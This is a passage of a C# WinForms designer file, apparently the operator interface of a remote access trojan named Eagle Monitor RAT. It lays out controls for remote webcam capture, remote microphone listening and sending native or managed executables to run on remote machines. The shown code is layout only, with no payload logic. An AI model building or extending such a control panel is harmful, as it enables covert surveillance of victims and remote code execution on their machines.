((int)(((byte)(249))))); this.captureWebCamGuna2ToggleSwitch.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.captureWebCamGuna2ToggleSwitch.CheckedState.InnerBorderColor = System.Drawing.Color.White; this.captureWebCamGuna2ToggleSwitch.CheckedState.InnerColor = System.Drawing.Color.White; this.captureWebCamGuna2ToggleSwitch.Location = new System.Drawing.Point(55, 11); this.captureWebCamGuna2ToggleSwitch.Name = "captureWebCamGuna2ToggleSwitch"; this.captureWebCamGuna2ToggleSwitch.Size = new System.Drawing.Size(35, 20); this.captureWebCamGuna2ToggleSwitch.TabIndex = 57; this.captureWebCamGuna2ToggleSwitch.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190))))); this.captureWebCamGuna2ToggleSwitch.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190))))); this.captureWebCamGuna2ToggleSwitch.UncheckedState.InnerBorderColor = System.Drawing.Color.White; this.captureWebCamGuna2ToggleSwitch.UncheckedState.InnerColor = System.Drawing.Color.White; this.captureWebCamGuna2ToggleSwitch.CheckedChanged += new System.EventHandler(this.captureWebCamGuna2ToggleSwitch_CheckedChanged); // // panel9 // this.panel9.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.panel9.Dock = System.Windows.Forms.DockStyle.Bottom; this.panel9.Location = new System.Drawing.Point(0, 43); this.panel9.Name = "panel9"; this.panel9.Size = new System.Drawing.Size(1083, 4); this.panel9.TabIndex = 65; // // label2 // this.label2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label2.Location = new System.Drawing.Point(3, 11); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(59, 20); this.label2.TabIndex = 58; this.label2.Text = "Capture:"; this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // tabPage12 // this.tabPage12.Controls.Add(this.panel10); this.tabPage12.Location = new System.Drawing.Point(4, 44); this.tabPage12.Name = "tabPage12"; this.tabPage12.Size = new System.Drawing.Size(1083, 426); this.tabPage12.TabIndex = 3; this.tabPage12.Text = "Remote Microphone"; this.tabPage12.UseVisualStyleBackColor = true; // // panel10 // this.panel10.BackColor = System.Drawing.Color.White; this.panel10.ContextMenuStrip = this.microphoneContextMenuStrip; this.panel10.Controls.Add(this.audioDevicesGuna2ComboBox); this.panel10.Controls.Add(this.label7); this.panel10.Controls.Add(this.currentMachineDevicesGuna2ComboBox); this.panel10.Controls.Add(this.remoteMicrophoneGuna2ToggleSwitch); this.panel10.Controls.Add(this.label3); this.panel10.Dock = System.Windows.Forms.DockStyle.Fill; this.panel10.Location = new System.Drawing.Point(0, 0); this.panel10.Name = "panel10"; this.panel10.Size = new System.Drawing.Size(1083, 426); this.panel10.TabIndex = 67; // // microphoneContextMenuStrip // this.microphoneContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.microphoneContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.getMicrophonesToolStripMenuItem}); this.microphoneContextMenuStrip.Name = "clientContextMenuStrip"; this.microphoneContextMenuStrip.Size = new System.Drawing.Size(178, 38); // // getMicrophonesToolStripMenuItem // this.getMicrophonesToolStripMenuItem.BackColor = System.Drawing.Color.White; this.getMicrophonesToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.getMicrophonesToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.microphone_32px; this.getMicrophonesToolStripMenuItem.Name = "getMicrophonesToolStripMenuItem"; this.getMicrophonesToolStripMenuItem.Size = new System.Drawing.Size(177, 34); this.getMicrophonesToolStripMenuItem.Text = "Get Microphones"; this.getMicrophonesToolStripMenuItem.Click += new System.EventHandler(this.getMicrophonesToolStripMenuItem_Click); // // audioDevicesGuna2ComboBox // this.audioDevicesGuna2ComboBox.Anchor = System.Windows.Forms.AnchorStyles.None; this.audioDevicesGuna2ComboBox.Animated = true; this.audioDevicesGuna2ComboBox.AutoRoundedCorners = true; this.audioDevicesGuna2ComboBox.BackColor = System.Drawing.Color.White; this.audioDevicesGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.audioDevicesGuna2ComboBox.BorderRadius = 17; this.audioDevicesGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; this.audioDevicesGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.audioDevicesGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.audioDevicesGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.audioDevicesGuna2ComboBox.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.audioDevicesGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.audioDevicesGuna2ComboBox.ItemHeight = 30; this.audioDevicesGuna2ComboBox.Location = new System.Drawing.Point(280, 101); this.audioDevicesGuna2ComboBox.Name = "audioDevicesGuna2ComboBox"; this.audioDevicesGuna2ComboBox.Size = new System.Drawing.Size(592, 36); this.audioDevicesGuna2ComboBox.TabIndex = 68; // // label7 // this.label7.Anchor = System.Windows.Forms.AnchorStyles.None; this.label7.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label7.Location = new System.Drawing.Point(165, 179); this.label7.Name = "label7"; this.label7.Size = new System.Drawing.Size(59, 36); this.label7.TabIndex = 67; this.label7.Text = "Listen on:"; this.label7.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // currentMachineDevicesGuna2ComboBox // this.currentMachineDevicesGuna2ComboBox.Anchor = System.Windows.Forms.AnchorStyles.None; this.currentMachineDevicesGuna2ComboBox.Animated = true; this.currentMachineDevicesGuna2ComboBox.AutoRoundedCorners = true; this.currentMachineDevicesGuna2ComboBox.BackColor = System.Drawing.Color.White; this.currentMachineDevicesGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.currentMachineDevicesGuna2ComboBox.BorderRadius = 17; this.currentMachineDevicesGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; this.currentMachineDevicesGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.currentMachineDevicesGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.currentMachineDevicesGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.currentMachineDevicesGuna2ComboBox.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.currentMachineDevicesGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.currentMachineDevicesGuna2ComboBox.ItemHeight = 30; this.currentMachineDevicesGuna2ComboBox.Location = new System.Drawing.Point(280, 179); this.currentMachineDevicesGuna2ComboBox.Name = "currentMachineDevicesGuna2ComboBox"; this.currentMachineDevicesGuna2ComboBox.Size = new System.Drawing.Size(592, 36); this.currentMachineDevicesGuna2ComboBox.TabIndex = 66; // // remoteMicrophoneGuna2ToggleSwitch // this.remoteMicrophoneGuna2ToggleSwitch.Anchor = System.Windows.Forms.AnchorStyles.None; this.remoteMicrophoneGuna2ToggleSwitch.Animated = true; this.remoteMicrophoneGuna2ToggleSwitch.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.remoteMicrophoneGuna2ToggleSwitch.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.remoteMicrophoneGuna2ToggleSwitch.CheckedState.InnerBorderColor = System.Drawing.Color.White; this.remoteMicrophoneGuna2ToggleSwitch.CheckedState.InnerColor = System.Drawing.Color.White; this.remoteMicrophoneGuna2ToggleSwitch.Location = new System.Drawing.Point(220, 110); this.remoteMicrophoneGuna2ToggleSwitch.Name = "remoteMicrophoneGuna2ToggleSwitch"; this.remoteMicrophoneGuna2ToggleSwitch.Size = new System.Drawing.Size(35, 20); this.remoteMicrophoneGuna2ToggleSwitch.TabIndex = 57; this.remoteMicrophoneGuna2ToggleSwitch.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190))))); this.remoteMicrophoneGuna2ToggleSwitch.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190))))); this.remoteMicrophoneGuna2ToggleSwitch.UncheckedState.InnerBorderColor = System.Drawing.Color.White; this.remoteMicrophoneGuna2ToggleSwitch.UncheckedState.InnerColor = System.Drawing.Color.White; this.remoteMicrophoneGuna2ToggleSwitch.CheckedChanged += new System.EventHandler(this.remoteMicrophoneGuna2ToggleSwitch_CheckedChanged); // // label3 // this.label3.Anchor = System.Windows.Forms.AnchorStyles.None; this.label3.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label3.Location = new System.Drawing.Point(165, 101); this.label3.Name = "label3"; this.label3.Size = new System.Drawing.Size(59, 36); this.label3.TabIndex = 58; this.label3.Text = "Capture:"; this.label3.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // tabPage14 // this.tabPage14.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.tabPage14.Controls.Add(this.miscellaneousGuna2TabControl); this.tabPage14.Location = new System.Drawing.Point(4, 4); this.tabPage14.Name = "tabPage14"; this.tabPage14.Size = new System.Drawing.Size(1091, 474); this.tabPage14.TabIndex = 4; this.tabPage14.Text = "Miscellaneous"; // // miscellaneousGuna2TabControl // this.miscellaneousGuna2TabControl.Controls.Add(this.tabPage15); this.miscellaneousGuna2TabControl.Controls.Add(this.tabPage16); this.miscellaneousGuna2TabControl.Controls.Add(this.tabPage17); this.miscellaneousGuna2TabControl.Controls.Add(this.tabPage18); this.miscellaneousGuna2TabControl.Controls.Add(this.tabPage23); this.miscellaneousGuna2TabControl.Dock = System.Windows.Forms.DockStyle.Fill; this.miscellaneousGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40); this.miscellaneousGuna2TabControl.Location = new System.Drawing.Point(0, 0); this.miscellaneousGuna2TabControl.Name = "miscellaneousGuna2TabControl"; this.miscellaneousGuna2TabControl.SelectedIndex = 0; this.miscellaneousGuna2TabControl.Size = new System.Drawing.Size(1091, 474); this.miscellaneousGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty; this.miscellaneousGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro; this.miscellaneousGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.miscellaneousGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White; this.miscellaneousGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.miscellaneousGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty; this.miscellaneousGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White; this.miscellaneousGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.miscellaneousGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167))))); this.miscellaneousGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235))))); this.miscellaneousGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty; this.miscellaneousGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.miscellaneousGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.miscellaneousGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); this.miscellaneousGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.miscellaneousGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40); this.miscellaneousGuna2TabControl.TabIndex = 68; this.miscellaneousGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White; this.miscellaneousGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop; // // tabPage15 // this.tabPage15.BackColor = System.Drawing.Color.White; this.tabPage15.Controls.Add(this.memoryExecutionGuna2TabControl); this.tabPage15.Location = new System.Drawing.Point(4, 44); this.tabPage15.Name = "tabPage15"; this.tabPage15.Size = new System.Drawing.Size(1083, 426); this.tabPage15.TabIndex = 1; this.tabPage15.Text = "Remote Execution"; // // memoryExecutionGuna2TabControl // this.memoryExecutionGuna2TabControl.Controls.Add(this.tabPage19); this.memoryExecutionGuna2TabControl.Controls.Add(this.tabPage22); this.memoryExecutionGuna2TabControl.Controls.Add(this.tabPage20); this.memoryExecutionGuna2TabControl.Controls.Add(this.tabPage21); this.memoryExecutionGuna2TabControl.Dock = System.Windows.Forms.DockStyle.Fill; this.memoryExecutionGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40); this.memoryExecutionGuna2TabControl.Location = new System.Drawing.Point(0, 0); this.memoryExecutionGuna2TabControl.Name = "memoryExecutionGuna2TabControl"; this.memoryExecutionGuna2TabControl.SelectedIndex = 0; this.memoryExecutionGuna2TabControl.Size = new System.Drawing.Size(1083, 426); this.memoryExecutionGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty; this.memoryExecutionGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro; this.memoryExecutionGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.memoryExecutionGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White; this.memoryExecutionGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.memoryExecutionGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty; this.memoryExecutionGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White; this.memoryExecutionGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.memoryExecutionGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167))))); this.memoryExecutionGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235))))); this.memoryExecutionGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty; this.memoryExecutionGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.memoryExecutionGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.memoryExecutionGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); this.memoryExecutionGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.memoryExecutionGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40); this.memoryExecutionGuna2TabControl.TabIndex = 69; this.memoryExecutionGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White; this.memoryExecutionGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop; // // tabPage19 // this.tabPage19.BackColor = System.Drawing.Color.White; this.tabPage19.Controls.Add(this.nativePEDataGridView); this.tabPage19.Location = new System.Drawing.Point(4, 44); this.tabPage19.Name = "tabPage19"; this.tabPage19.Size = new System.Drawing.Size(1075, 378); this.tabPage19.TabIndex = 1; this.tabPage19.Text = "PE"; // // nativePEDataGridView // this.nativePEDataGridView.AllowDrop = true; this.nativePEDataGridView.AllowUserToAddRows = false; this.nativePEDataGridView.AllowUserToDeleteRows = false; this.nativePEDataGridView.AllowUserToResizeColumns = false; this.nativePEDataGridView.AllowUserToResizeRows = false; this.nativePEDataGridView.BackgroundColor = System.Drawing.Color.White; this.nativePEDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.nativePEDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.nativePEDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle31.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle31.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle31.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle31.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle31.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle31.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle31.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.nativePEDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle31; this.nativePEDataGridView.ColumnHeadersHeight = 36; this.nativePEDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column35}); this.nativePEDataGridView.ContextMenuStrip = this.nativePEContextMenuStrip; this.nativePEDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; this.nativePEDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.nativePEDataGridView.EnableHeadersVisualStyles = false; this.nativePEDataGridView.GridColor = System.Drawing.Color.White; this.nativePEDataGridView.Location = new System.Drawing.Point(0, 0); this.nativePEDataGridView.Name = "nativePEDataGridView"; this.nativePEDataGridView.ReadOnly = true; this.nativePEDataGridView.RowHeadersVisible = false; dataGridViewCellStyle33.BackColor = System.Drawing.Color.White; dataGridViewCellStyle33.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); dataGridViewCellStyle33.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle33.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.nativePEDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle33; this.nativePEDataGridView.RowTemplate.Height = 26; this.nativePEDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.nativePEDataGridView.Size = new System.Drawing.Size(1075, 378); this.nativePEDataGridView.TabIndex = 17; this.nativePEDataGridView.TabStop = false; this.nativePEDataGridView.DragDrop += new System.Windows.Forms.DragEventHandler(this.nativePEDataGridView_DragDrop); this.nativePEDataGridView.DragEnter += new System.Windows.Forms.DragEventHandler(this.nativePEDataGridView_DragEnter); this.nativePEDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.nativePEDataGridView_MouseUp); // // Column35 // this.Column35.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle32.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); this.Column35.DefaultCellStyle = dataGridViewCellStyle32; this.Column35.FillWeight = 25F; this.Column35.HeaderText = "Path"; this.Column35.Name = "Column35"; this.Column35.ReadOnly = true; // // nativePEContextMenuStrip // this.nativePEContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.nativePEContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.addNativePEContextMenuStripToolStripMenuItem, this.removeNativePEContextMenuStripToolStripMenuItem, this.sendNativePEContextMenuStripToolStripMenuItem}); this.nativePEContextMenuStrip.Name = "clientContextMenuStrip"; this.nativePEContextMenuStrip.Size = new System.Drawing.Size(130, 106); // // addNativePEContextMenuStripToolStripMenuItem // this.addNativePEContextMenuStripToolStripMenuItem.BackColor = System.Drawing.Color.White; this.addNativePEContextMenuStripToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.addNativePEContextMenuStripToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.add_32px; this.addNativePEContextMenuStripToolStripMenuItem.Name = "addNativePEContextMenuStripToolStripMenuItem"; this.addNativePEContextMenuStripToolStripMenuItem.Size = new System.Drawing.Size(129, 34); this.addNativePEContextMenuStripToolStripMenuItem.Text = "Add"; this.addNativePEContextMenuStripToolStripMenuItem.Click += new System.EventHandler(this.addNativePEContextMenuStripToolStripMenuItem_Click); // // removeNativePEContextMenuStripToolStripMenuItem // this.removeNativePEContextMenuStripToolStripMenuItem.BackColor = System.Drawing.Color.White; this.removeNativePEContextMenuStripToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.removeNativePEContextMenuStripToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.minus_32px; this.removeNativePEContextMenuStripToolStripMenuItem.Name = "removeNativePEContextMenuStripToolStripMenuItem"; this.removeNativePEContextMenuStripToolStripMenuItem.Size = new System.Drawing.Size(129, 34); this.removeNativePEContextMenuStripToolStripMenuItem.Text = "Remove"; this.removeNativePEContextMenuStripToolStripMenuItem.Click += new System.EventHandler(this.removeNativePEContextMenuStripToolStripMenuItem_Click); // // sendNativePEContextMenuStripToolStripMenuItem // this.sendNativePEContextMenuStripToolStripMenuItem.BackColor = System.Drawing.Color.White; this.sendNativePEContextMenuStripToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.sendNativePEContextMenuStripToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.send_letter_32px; this.sendNativePEContextMenuStripToolStripMenuItem.Name = "sendNativePEContextMenuStripToolStripMenuItem"; this.sendNativePEContextMenuStripToolStripMenuItem.Size = new System.Drawing.Size(129, 34); this.sendNativePEContextMenuStripToolStripMenuItem.Text = "Send"; this.sendNativePEContextMenuStripToolStripMenuItem.Click += new System.EventHandler(this.sendNativePEContextMenuStripToolStripMenuItem_Click); // // tabPage22 // this.tabPage22.Controls.Add(this.managedPEDataGridView); this.tabPage22.Location = new System.Drawing.Point(4, 44); this.tabPage22.Name = "tabPage22"; this.tabPage22.Size = new System.Drawing.Size(1075, 378); this.tabPage22.TabIndex = 4; this.tabPage22.Text = "Managed PE"; this.tabPage22.UseVisualStyleBackColor = true; // // managedPEDataGridView // this.managedPEDataGridView.AllowDrop = true; this.managedPEDataGridView.AllowUserToAddRows = false; this.managedPEDataGridView.AllowUserToDeleteRows = false; this.managedPEDataGridView.AllowUserToResizeColumns = false; this.managedPEDataGridView.AllowUserToResizeRows = false; this.managedPEDataGridView.BackgroundColor = System.Drawing.Color.White; this.managedPEDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.managedPEDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.managedPEDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle34.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle34.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle34.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle34.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle34.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle34.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle34.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.managedPEDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle34; this.managedPEDataGridView.ColumnHeadersHeight = 36; this.managedPEDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column33, this.Column34}); this.managedPEDataGridView.ContextMenuStrip = this.managedPEContextMenuStrip; this.managedPEDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; this.managedPEDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.managedPEDataGridView.EnableHeadersVisualStyles = false; this.managedPEDataGridView.GridColor = System.Drawing.Color.White; this.managedPEDataGridView.Location = new System.Drawing.Point(0, 0); this.managedPEDataGridView.Name = "managedPEDataGridView"; this.managedPEDataGridView.ReadOnly = true; this.managedPEDataGridView.RowHeadersVisible = false; dataGridViewCellStyle36.BackColor = System.Drawing.Color.White; dataGridViewCellStyle36.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); dataGridViewCellStyle36.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle36.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.managedPEDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle36; this.managedPEDataGridView.RowTemplate.Height = 26; this.managedPEDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.managedPEDataGridView.Size = new System.Drawing.Size(1075, 378); this.managedPEDataGridView.TabIndex = 16; this.managedPEDataGridView.TabStop = false; this.managedPEDataGridView.DragDrop += new System.Windows.Forms.DragEventHandler(this.managedPEDataGridView_DragDrop); this.managedPEDataGridView.DragEnter += new System.Windows.Forms.DragEventHandler(this.managedPEDataGridView_DragEnter); this.managedPEDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.managedPEDataGridView_MouseUp); // // Column33 // this.Column33.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle35.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); this.Column33.DefaultCellStyle = dataGridViewCellStyle35; this.Column33.FillWeight = 25F; this.Column33.HeaderText = "Path"; this.Column33.Name = "Column33"; this.Column33.ReadOnly = true; // // Column34 // this.Column34.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column34.FillWeight = 20F; this.Column34.HeaderText = "Entrypoint (Dll)"; this.Column34.Name = "Column34"; this.Column34.ReadOnly = true; // // managedPEContextMenuStrip // this.managedPEContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.managedPEContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.addManagedPEContextMenuStripToolStripMenuItem, this.removeManagedPEContextMenuStripToolStripMenuItem, this.sendManagedPEContextMenuStripToolStripMenuItem}); this.managedPEContextMenuStrip.Name = "clientContextMenuStrip"; this.managedPEContextMenuStrip.Size = new System.Drawing.Size(130, 106); // // addManagedPEContextMenuStripToolStripMenuItem // this.addManagedPEContextMenuStripToolStripMenuItem.BackColor = System.Drawing.Color.White; this.addManagedPEContextMenuStripToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.addManagedPEContextMenuStripToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.add_32px; this.addManagedPEContextMenuStripToolStripMenuItem.Name = "addManagedPEContextMenuStripToolStripMenuItem"; this.addManagedPEContextMenuStripToolStripMenuItem.Size = new 